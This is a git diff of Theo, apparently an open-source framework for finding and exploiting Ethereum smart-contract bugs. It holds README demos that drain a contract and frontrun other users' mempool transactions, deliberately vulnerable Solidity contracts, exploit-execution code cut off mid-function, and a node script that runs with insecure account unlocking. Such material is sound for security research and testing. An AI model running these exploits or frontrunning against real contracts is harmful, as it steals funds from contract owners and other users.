diff --git a/.circleci/config.yml b/.circleci/config.yml index a005a9b..993eeab 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -3,7 +3,7 @@ defaults: &defaults docker: - - image: circleci/python:3.7.1 + - image: circleci/python:3.7.3 working_directory: ~/app version: 2 @@ -83,4 +83,4 @@ workflows: tags: only: /v[0-9]+(\.[0-9]+(dev|)([0-9]+|))*/ requires: - - test + - test \ No newline at end of file diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..7cc88f0 --- /dev/null +++ b/.gitattributes @@ -0,0 +1 @@ +*.sol linguist-language=Solidity \ No newline at end of file diff --git a/.sonarcloud.properties b/.sonarcloud.properties new file mode 100644 index 0000000..3344df9 --- /dev/null +++ b/.sonarcloud.properties @@ -0,0 +1,15 @@ +# Path to sources +#sonar.sources=. +#sonar.exclusions= +#sonar.inclusions= + +# Path to tests +#sonar.tests= +#sonar.test.exclusions= +#sonar.test.inclusions= + +# Source encoding +#sonar.sourceEncoding=UTF-8 + +# Exclusions for copy-paste detection +#sonar.cpd.exclusions= \ No newline at end of file diff --git a/License b/License index b335484..83f8ce4 100644 --- a/License +++ b/License @@ -1,10 +1,198 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + Copyright 2019 Daniel Luca Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/Readme.md b/Readme.md index 99bc973..e37b75b 100644 --- a/Readme.md +++ b/Readme.md @@ -1,8 +1,25 @@ # Theo -Theo is a great hacker showing the other script kiddies how things should be done. +![License](https://img.shields.io/github/license/cleanunicorn/theo.svg) +[![CircleCI](https://circleci.com/gh/cleanunicorn/theo/tree/master.svg?style=shield)](https://circleci.com/gh/cleanunicorn/theo) +[![Codacy Badge](https://api.codacy.com/project/badge/Grade/71da66211eff42f298062a883b7fa5e9)](https://www.codacy.com/app/lucadanielcostin/theo) +[![PyPI](https://img.shields.io/pypi/v/theo.svg)](https://pypi.org/project/theo/) +[![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/ambv/black) -![Theo](./static/theo-profile.png) +Theo aims to be an exploitation framework and a blockchain recon and interaction tool. + +Features: + +- Automatic smart contract scanning which generates a list of possible exploits. +- Sending transactions to exploit a smart contract. +- Transaction pool monitor. +- Web3 console +- Frontrunning and backrunning transactions. +- Waiting for a list of transactions and sending out others. +- Estimating gas for transactions means only successful transactions are sent. +- Disabling gas estimation will send transactions with a fixed gas quantity. + + He knows [Karl](https://github.com/cleanunicorn/karl) from work. @@ -12,25 +29,77 @@ Theo's purpose is to fight script kiddies that try to be leet hackers. He can li ## Install +Theo is available as a PyPI package: + +```console +$ pip install theo +$ theo --help +usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC] + [--account-pk ACCOUNT_PK] [--contract ADDRESS] + [--skip-mythril SKIP_MYTHRIL] [--load-file LOAD_FILE] [--version] + +Monitor contracts for balance changes or tx pool. + +optional arguments: + -h, --help show this help message and exit + --rpc-http RPC_HTTP Connect to this HTTP RPC (default: + http://127.0.0.1:8545) + --account-pk ACCOUNT_PK + The account's private key (default: None) + --contract ADDRESS Contract to monitor (default: None) + --skip-mythril SKIP_MYTHRIL + Don't try to find exploits with Mythril (default: + False) + --load-file LOAD_FILE + Load exploit from file (default: ) + --version show program's version number and exit + +RPC connections: + --rpc-ws RPC_WS Connect to this WebSockets RPC (default: None) + --rpc-ipc RPC_IPC Connect to this IPC RPC (default: None) +``` + +Install from sources + ```console $ git clone https://github.com/cleanunicorn/theo $ cd theo +$ virtualenv ./venv +$ . ./venv/bin/activate $ pip install -r requirements.txt +$ pip install -e . +$ theo --help ``` -It's recommended to use [virtualenv](https://virtualenv.pypa.io/en/latest/) if you're familiar with it. - Requirements: -- Python 3.5 or higher -- An Ethereum node with RPC available -- Accounts unlocked to be able to send transactions +- Python 3.5 or higher. +- An Ethereum node with RPC available. [Ganache](https://github.com/trufflesuite/ganache-cli) works really well for testing or for validating exploits. + +## Demos + +### Find exploit and execute it -## Demo +Scan a smart contract, find exploits, exploit it: -[Scrooge McEtherface](https://github.com/b-mueller/scrooge-mcetherface) tries to exploit a contract but Theo is able to successfully frontrun him. +- Start Ganache as our local Ethereum node +- Deploy the vulnerable contract (happens in a different window) +- Scan for exploits +- Run exploit -[![asciicast](https://asciinema.org/a/KVbZpYZee39eWavEwiXMaemPI.svg)](https://asciinema.org/a/KVbZpYZee39eWavEwiXMaemPI) +[![asciicast](https://asciinema.org/a/CgTH8tIAoGsgEYsd7XN65tJSp.svg)](https://asciinema.org/a/CgTH8tIAoGsgEYsd7XN65tJSp?speed=2) + +### Frontrun victim + +Setup a honeypot, deploy honeypot, wait for attacker, frontrun: + +- Start geth as our local Ethereum node +- Start mining +- Deploy the honeypot +- Start Theo and scan the mem pool for transactions +- Frontrun the attacker and steal his ether + +[![asciicast](https://asciinema.org/a/n2HnSJvgopf8AKCoSfEJVgvxU.svg)](https://asciinema.org/a/n2HnSJvgopf8AKCoSfEJVgvxU?speed=2) ## Usage @@ -39,77 +108,89 @@ Requirements: It's a good idea to check the help screen first. ```console -$ python ./theo.py --help -usage: theo.py [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] - [--rpc-ipc RPC_IPC] [--account ACCOUNT] [--contract ADDRESS] - [--txs {mythril,file}] [--txs-file FILE] - {tx-pool} +$ theo --help +usage: theo [-h] [--rpc-http RPC_HTTP] [--rpc-ws RPC_WS] [--rpc-ipc RPC_IPC] + [--account-pk ACCOUNT_PK] [--contract ADDRESS] [--skip-mythril] + [--load-file LOAD_FILE] [--version] Monitor contracts for balance changes or tx pool. -positional arguments: - {tx-pool} Choose between: balance (not implemented: monitor - contract balance changes), tx-pool (if any - transactions want to call methods). - optional arguments: -h, --help show this help message and exit - --contract ADDRESS Contract to monitor - -Monitor transaction pool: - --rpc-http RPC_HTTP Connect to this HTTP RPC - --rpc-ws RPC_WS Connect to this WebSockets RPC - --rpc-ipc RPC_IPC Connect to this IPC RPC - --account ACCOUNT Use this account to send transactions from - -Transactions to wait for: - --txs {mythril,file} Choose between: mythril (find transactions - automatically with mythril), file (use the - transactions specified in a JSON file). - --txs-file FILE The file which contains the transactions to frontrun + --rpc-http RPC_HTTP Connect to this HTTP RPC (default: + http://127.0.0.1:8545) + --account-pk ACCOUNT_PK + The account's private key (default: None) + --contract ADDRESS Contract to interact with (default: None) + --skip-mythril Skip scanning the contract with Mythril (default: + False) + --load-file LOAD_FILE + Load exploit from file (default: ) + --version show program's version number and exit + +RPC connections: + --rpc-ws RPC_WS Connect to this WebSockets RPC (default: None) + --rpc-ipc RPC_IPC Connect to this IPC RPC (default: None) ``` ### Symbolic execution -A list of expoits is automatically identified using [mythril](https://github.com/ConsenSys/mythril). +A list of exploits is automatically identified using [mythril](https://github.com/ConsenSys/mythril). Start a session by running: ```console -$ python ./theo.py tx-pool --account= --contract= +$ theo --contract= --account-pk= +Scanning for exploits in contract: 0xa586074fa4fe3e546a132a16238abe37951d41fe +Connecting to HTTP: http://127.0.0.1:8545. +Found exploits(s): + [Exploit: (txs=[Transaction {Data: 0xcf7a8965, Value: 1000000000000000000}])] + +A few objects are available in the console: +- `exploits` is an array of loaded exploits found by Mythril or read from a file +- `w3` an initialized instance of web3py for the provided HTTP RPC endpoint + +Check the readme for more info: +https://github.com/cleanunicorn/theo + +>>> ``` It will analyze the contract and will find a list of available exploits. +You can see the available exploits found. In this case one exploit was found. Each exploit is an [Exploit](https://github.com/cleanunicorn/theo/blob/master/theo/exploit/exploit.py) object. + ```console -$ python theo.py tx-pool --account=0xffcf8fdee72ac11b5c542428b35eef5769c409f0 --contract=0xd833215cbcc3f914bd1c9ece3ee7bf8b14f841bb -Scanning for exploits in contract: 0xd833215cbcc3f914bd1c9ece3ee7bf8b14f841bb -Found exploit(s) [Exploit: (txs=[Transaction: {'input': '0xcf7a8965', 'value': '0xde0b6b3a7640000'}])] -Python 3.7.3 (default, Jun 24 2019, 04:54:02) -[GCC 9.1.0] on linux -Type "help", "copyright", "credits" or "license" for more information. -(InteractiveConsole) ->>> +>>> exploits[0] +Exploit: (txs=[Transaction: {'input': '0xcf7a8965', 'value': '0xde0b6b3a7640000'}]) ``` -You can see the available exploits found. In this case one exploit was found. Each exploit is an [Exploit](https://github.com/cleanunicorn/theo/blob/263dc9f0cd34c4a0904529128c93f30b29eae415/theo/scanner/__init__.py#L9) object, having a list of transactions to exploit a bug. +### Running exploits + +The exploit steps can be run by calling `.execute()` on the exploit object. The transactions will be signed and sent to the node you're connected to. ```console ->>> exploits[0] -Exploit: (txs=[Transaction: {'input': '0xcf7a8965', 'value': '0xde0b6b3a7640000'}]) +>>> exploits[0].execute() +2019-07-22 11:26:12,196 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': 1, 'gas': 30521, 'value': 1000000000000000000, 'data': '0xcf7a8965', 'nonce': 47} +2019-07-22 11:26:12,200 - Waiting for 0x41b489c78f654cab0b0451fc573010ddb20ee6437cdbf5098b6b03ee1936c33c to be mined... +2019-07-22 11:26:16,337 - Mined +2019-07-22 11:26:16,341 - Initial balance: 1155999450759997797167 (1156.00 ether) +2019-07-22 11:26:16,342 - Final balance: 1156999450759997768901 (1157.00 ether) ``` -You can start the frontrunning monitor to listen for other hackers (script kiddies really) trying to exploit his honeypots. +### Frontrunning -Use `.frontrun()` to start listening for the exploit and when found send a transaction with a higher gas price. +You can start the frontrunning monitor to listen for other hackers trying to exploit the honeypot. + +Use `.frontrun()` to start listening for the exploit and when found, send a transaction with a higher gas price. ```console >>> exploits[0].frontrun() -Waiting for a victim to reach into the honey jar. -Listening for Transaction: {'input': '0xcf7a8965', 'value': '0xde0b6b3a7640000'}. -Found pending tx: 0x74eb78557b4659f27e7a8b82804ae97be9d0adfefd6a5652a097045f6de77a0b from: 0x1df62f291b2e969fb0849d99d9ce41e2f137006e. -Frontrunning with tx: {'from': '0xffcf8fdee72ac11b5c542428b35eef5769c409f0', 'to': '0xd833215cbcc3f914bd1c9ece3ee7bf8b14f841bb', 'gasPrice': '0x3b9aca01', 'input': '0xcf7a8965', 'gas': '0x4c4b40', 'value': '0xde0b6b3a7640000'} -Mined transaction: 0x0b5e7ceedd600eaf013ca8bc74900e6d29b25ed422baaa776f42bec01870a288 +2019-07-22 11:22:26,285 - Scanning the mem pool for transactions... +2019-07-22 11:22:45,369 - Found tx: 0xf6041abe6e547cea93e80a451fdf53e6bdae67820244246fde44098f91ce1c20 +2019-07-22 11:22:45,375 - Sending tx: {'to': '0xA586074FA4Fe3E546A132a16238abe37951D41fE', 'gasPrice': '0x2', 'data': '0xcf7a8965', 'gas': 30522, 'value': 1000000000000000000, 'nonce': 45} +2019-07-22 11:22:45,380 - Waiting for 0xa73316daf806e7eef83d09e467c32ce5faa239c6eda3a270a8ce7a7aae48fb7e to be mined... +2019-07-22 11:22:56,852 - Mined ``` > "Oh, my God! The quarterback is toast!" @@ -120,22 +201,25 @@ This works very well for some specially crafted [contracts](./contracts/) or som Instead of identifying the exploits with mythril, you can specify the list of exploits yourself. -Create a file that looks like this [input-tx.json](./test/input-tx.json): +Create a file that looks like this [exploits.json](./test/input-tx.json): ```json [ [ { + "name": "claimOwnership()", "input": "0x4e71e0c8", "value": "0xde0b6b3a7640000" }, { + "name": "retrieve()", "input": "0x2e64cec1", "value": "0x0" } ], [ { + "name": "claimOwnership()", "input": "0x4e71e0c8", "value": "0xde0b6b3a7640000" } @@ -143,16 +227,32 @@ Create a file that looks like this [input-tx.json](./test/input-tx.json): ] ``` -This one defines 2 exploits, the first one has 2 transactions and the second one only 1 transaction. After the exploits are loaded, frontrunning is the same. +This one defines 2 exploits, the first one has 2 transactions and the second one only has 1 transaction. + +You can load it with: ```console -$ python ./theo.py --txs=file --contract=0xe78a0f7e598cc8b0bb87894b0f60dd2a88d6a8ab --account=0xffcf8fdee72ac11b5c542428b35eef5769c409f0 --txs-file=./test/input-tx.json tx-pool 130 ↵ -Found exploits(s) [Exploit: (txs=[Transaction: {'input': '0x4e71e0c8', 'value': '0xde0b6b3a7640000'}, Transaction: {'input': '0x2e64cec1', 'value': '0x0'}]), Exploit: (txs=[Transaction: {'input': '0x4e71e0c8', 'value': '0xde0b6b3a7640000'}])] -Python 3.7.3 (default, Jun 24 2019, 04:54:02) -[GCC 9.1.0] on linux -Type "help", "copyright", "credits" or "license" for more information. -(InteractiveConsole) ->>> exploits[0].frontrun() -Waiting for a victim to reach into the honey jar. -Listening for Transaction: {'input': '0x4e71e0c8', 'value': '0xde0b6b3a7640000'}. +$ theo --load-file=./exploits.json +``` + +# Troubleshooting + +## openssl/aes.h: No such file or directory + +If you get this error, you need the libssl source libraries: + +``` + scrypt-1.2.1/libcperciva/crypto/crypto_aes.c:6:10: fatal error: openssl/aes.h: No such file or directory + #include + ^~~~~~~~~~~~~~~ + compilation terminated. + error: command 'x86_64-linux-gnu-gcc' failed with exit status 1 + + ---------------------------------------- +Command "/usr/bin/python3 -u -c "import setuptools, tokenize;__file__='/tmp/pip-build-5rl4ep94/scrypt/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-mnbzx9qe-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-5rl4ep94/scrypt/ +``` + +On Ubuntu you can install them with: +```console +$ sudo apt install libssl-dev ``` diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..034e848 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,21 @@ +# Security Policy + +## Supported Versions + +Use this section to tell people about which versions of your project are +currently being supported with security updates. + +| Version | Supported | +| ------- | ------------------ | +| 5.1.x | :white_check_mark: | +| 5.0.x | :x: | +| 4.0.x | :white_check_mark: | +| < 4.0 | :x: | + +## Reporting a Vulnerability + +Use this section to tell people how to report a vulnerability. + +Tell them where to go, how often they can expect to get an update on a +reported vulnerability, what to expect if the vulnerability is accepted or +declined, etc. diff --git a/blockchain/blockchain-start.sh b/blockchain/blockchain-start.sh index 6b686c4..7551dba 100755 --- a/blockchain/blockchain-start.sh +++ b/blockchain/blockchain-start.sh @@ -1,3 +1,3 @@ #!/bin/bash -./geth.bin --datadir=./ --syncmode=full --rpc --rpcapi="eth,net,rpc,web3,txpool,personal,debug,account" --ws --miner.gasprice=1 --txpool.locals="0x1dF62f291b2E969fB0849d99D9Ce41e2F137006e" --rpccorsdomain='*' --allow-insecure-unlock --unlock "0x90f8bf6a479f320ead074411a4b0e7944ea8c9c1,0xffcf8fdee72ac11b5c542428b35eef5769c409f0" --password ./account-password.txt --port 4030 --port 40303 console +./geth.bin --datadir=./ --syncmode=full --rpc --rpcapi="eth,net,rpc,web3,txpool,personal,debug,account" --ws --miner.gasprice=1000 --txpool.locals="0x1dF62f291b2E969fB0849d99D9Ce41e2F137006e" --rpccorsdomain='*' --allow-insecure-unlock --unlock "0x90f8bf6a479f320ead074411a4b0e7944ea8c9c1,0xffcf8fdee72ac11b5c542428b35eef5769c409f0,0x1dF62f291b2E969fB0849d99D9Ce41e2F137006e" --password ./account-password.txt --port 40303 console diff --git a/contracts/VulnerableNoContract.sol b/contracts/VulnerableNoContract.sol new file mode 100644 index 0000000..8be09b4 --- /dev/null +++ b/contracts/VulnerableNoContract.sol @@ -0,0 +1,42 @@ +contract VulnerableTwoStep { + address payable public owner; + bool public owner_reset = false; + uint256 public owner_set_block = 0; + + constructor() public payable { + owner = msg.sender; + } + + function() external payable {} + + function become_owner() public payable { + require(msg.value == 1 ether); + require(!isContract(msg.sender)); + + if (owner_reset == false) { + owner_reset = true; + owner_set_block = block.number; + owner = msg.sender; + } + } + + function retrieve() public payable { + require(block.number > owner_set_block); + require(owner_set_block > 0); + require(!isContract(owner)); + + owner.transfer(address(this).balance); + } + + function isContract(address _addr) + private + view + returns (bool) + { + uint32 size; + assembly { + size := extcodesize(_addr) + } + return (size > 0); + } +} \ No newline at end of file diff --git a/contracts/VulnerableOneStep.sol b/contracts/VulnerableOneStep.sol index 230de6b..c4c6237 100644 --- a/contracts/VulnerableOneStep.sol +++ b/contracts/VulnerableOneStep.sol @@ -9,7 +9,7 @@ contract Vulnerable { function() external payable {} - function steal() public payable { + function retrieve() public payable { require(msg.value >= 1 ether); msg.sender.transfer(address(this).balance); diff --git a/contracts/VulnerableTwoStep.sol b/contracts/VulnerableTwoStep.sol index b0fc89f..993afdf 100644 --- a/contracts/VulnerableTwoStep.sol +++ b/contracts/VulnerableTwoStep.sol @@ -1,24 +1,38 @@ +// pragma solidity ^0.5.0; contract VulnerableTwoStep { - address payable public owner; - bool public owner_reset = false; + address public player; + address public owner; + bool public claimed; constructor() public payable { owner = msg.sender; } + function reset() public payable { + require(owner == msg.sender); + + player = address(0); + claimed = false; + } + function() external payable {} - function become_owner() public payable { - require(msg.value == 1 ether); + function claimOwnership() public payable { + require(msg.value == 0.1 ether); - if (owner_reset == false) { - owner_reset = true; - owner = msg.sender; + if (claimed == false) { + player = msg.sender; + claimed = true; } } - function steal() public payable { - owner.transfer(address(this).balance); + function retrieve() public { + require(msg.sender == player); + + msg.sender.transfer(address(this).balance); + + player = address(0); + claimed = false; } -} \ No newline at end of file +} diff --git a/requirements.txt b/requirements.txt index 2f4b284..d4adc42 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,70 @@ +asn1crypto==0.24.0 +astroid==2.2.5 +attrdict==2.0.1 +certifi==2019.6.16 +cffi==1.12.3 +chardet==3.0.4 +coincurve==12.0.0 +coloredlogs==10.0 +configparser==3.7.4 +coverage==4.5.3 +cycler==0.10.0 +cytoolz==0.10.0 +dictionaries==0.0.1 +eth-abi==1.3.0 +eth-account==0.3.0 +eth-hash==0.2.0 +eth-keyfile==0.5.1 +eth-keys==0.2.4 +eth-rlp==0.1.2 +eth-tester==0.1.0b32 +eth-typing==2.1.0 +eth-utils==1.6.2 +ethereum==2.3.2 +ethereum-input-decoder==0.2.2 +future==0.17.1 +hexbytes==0.2.0 +humanfriendly==4.18 +idna==2.8 +isort==4.3.21 +Jinja2==2.10.1 +jsonpickle==1.2 +kiwisolver==1.1.0 +lazy-object-proxy==1.4.1 +lru-dict==1.1.6 +MarkupSafe==1.1.1 +matplotlib==3.1.1 +mccabe==0.6.1 +mock==3.0.5 +mythril==0.21.15 +numpy==1.16.4 +parsimonious==0.8.1 +pbkdf2==1.3 +persistent==4.5.0 +plyvel==1.1.0 +py-ecc==1.4.2 +py-flags==1.1.2 +py-solc==3.2.0 +pycparser==2.19 +pycryptodome==3.8.2 +pyethash==0.1.27 +pylint==2.3.1 +pyparsing==2.4.0 +pysha3==1.0.2 +python-dateutil==2.8.0 +PyYAML==5.1.1 +repoze.lru==0.7 +requests==2.22.0 +rlp==1.1.0 +scrypt==0.8.13 +semantic-version==2.6.0 +six==1.12.0 +toolz==0.10.0 +transaction==2.4.0 +typed-ast==1.4.0 +urllib3==1.25.3 web3==4.9.2 -mythril==0.21.8 \ No newline at end of file +websockets==6.0 +wrapt==1.11.2 +z3-solver==4.8.5.0 +zope.interface==4.6.0 diff --git a/setup.py b/setup.py index 7964633..1ca710f 100644 --- a/setup.py +++ b/setup.py @@ -42,4 +42,5 @@ def run(self): long_description_content_type="text/markdown", entry_points={"console_scripts": ["theo=theo.interfaces.cli:main"]}, cmdclass={"verify": VerifyVersionCommand}, + url="https://github.com/cleanunicorn/theo", ) diff --git a/test/input-tx.json b/test/input-tx.json index 8c416ff..d2e0b55 100644 --- a/test/input-tx.json +++ b/test/input-tx.json @@ -1,10 +1,17 @@ [ - { - "input": "0x4e71e0c8", - "value": 100000000000000000 - }, - { - "input": "0x2e64cec1", - "value": "0x0" - } + [ + { + "data": "0x4e71e0c8", + "value": 100000000000000000 + }, + { + "data": "0x2e64cec1", + "value": "0x0" + } + ], + [ + { + "data": "0xdeadbeef" + } + ] ] \ No newline at end of file diff --git a/theo/__init__.py b/theo/__init__.py index fe7419d..0dfe81d 100644 --- a/theo/__init__.py +++ b/theo/__init__.py @@ -1,6 +1,19 @@ +import time, json + + def private_key_to_account(pk: str): from eth_keys import keys from web3 import Web3 account = keys.PrivateKey(Web3.toBytes(hexstr=pk)) return account.public_key.to_checksum_address() + + +def dump(ob=None, filename=None): + """Dumps the provided object to a file in json format.""" + if filename is None: + filename = "{name}.json".format(name=time.time_ns()) + + pickled = json.dumps(ob) + with open(filename, "w") as f: + f.write(pickled) diff --git a/theo/exploit/exploit.py b/theo/exploit/exploit.py index 21fa844..3e8876a 100644 --- a/theo/exploit/exploit.py +++ b/theo/exploit/exploit.py @@ -11,10 +11,17 @@ def __init__( contract: str, account: str, account_pk: str, + title: str = None, + description: str = None, + swc_id: int = 0, verbosity: int = logging.INFO, ): # Web3 instance (can be HTTP, WebSockets, IPC) self.w3 = w3 + # Meta information + self.title = title + self.description = description + self.swc_id = swc_id # Transaction list self.txs = txs @@ -26,7 +33,7 @@ def __init__( self.account_private_key = account_pk # Gas price when executing exploit - self.gas_price = 1 ** 10 + self.gas_price = 10 ** 10 # Gas price increment when frontrunning self.gas_price_increment = 1 # Gas value when `gas_estimate` is False @@ -47,19 +54,31 @@ def __init__( logger_stream = logging.StreamHandler() logger_stream.setLevel(verbosity) logger_stream.setFormatter(logging.Formatter("%(asctime)s - %(message)s")) - self.logger.addHandler(logger_stream) + if self.logger.hasHandlers() is False: + self.logger.addHandler(logger_stream) def __repr__(self): - return "Exploit: (txs={})".format(self.txs) + return """Exploit: {title} +Description: {description} +SWC ID: {swc_id} +Transaction list: {txs}""".format( + title=self.title, + description=self.description, + swc_id=self.swc_id, + txs=self.txs, + ) - def execute(self): - receipts = [] + def execute(self, nonce=None): + if nonce is None: + nonce_index = self.w3.eth.getTransactionCount(self.account) + else: + nonce_index = nonce - nonce = self.w3.eth.getTransactionCount(self.account) initial_balance = self.w3.eth.getBalance(self.account) for tx in self.txs: run_tx = { + "from": self.account, "to": self.contract, "gasPrice": self.gas_price, "gas": self.gas, @@ -67,67 +86,139 @@ def execute(self): "data": tx.data.replace( "deadbeefdeadbeefdeadbeefdeadbeefdeadbeef", self.account[2:] ), - "nonce": nonce, + "nonce": nonce_index, } - nonce += 1 + nonce_index += 1 # Estimate gas if self.gas_estimate is True: + self.logger.debug("Estimating gas for tx: {tx}".format(tx=run_tx)) run_tx["gas"] = self.w3.eth.estimateGas(run_tx) - receipts.append(self.send_tx(run_tx)) + self.send_tx(run_tx) final_balance = self.w3.eth.getBalance(self.account) self.logger.info( - "Initial balance: \t{balance} ({balance_ether:.2f} ether)".format( + "Initial balance: \t{balance_ether:.2f} ether ({balance})".format( balance=initial_balance, balance_ether=initial_balance / 10 ** 18 ) ) self.logger.info( - "Final balance: \t{balance} ({balance_ether:.2f} ether)".format( + "Final balance: \t{balance_ether:.2f} ether ({balance})".format( balance=final_balance, balance_ether=final_balance / 10 ** 18 ) ) - self.logger.debug(receipts) + def _front_back_run( + self, flush=False, nonce_index=None, wait_txs=None, send_txs=None, run_type=None + ): + if run_type is None: + self.logger.error( + "Must specify if it should frontrun or backrun transactions." + ) + return - def frontrun(self, flush=False): self.logger.info("Scanning the mem pool for transactions...") - nonce = self.w3.eth.getTransactionCount(self.account) + if 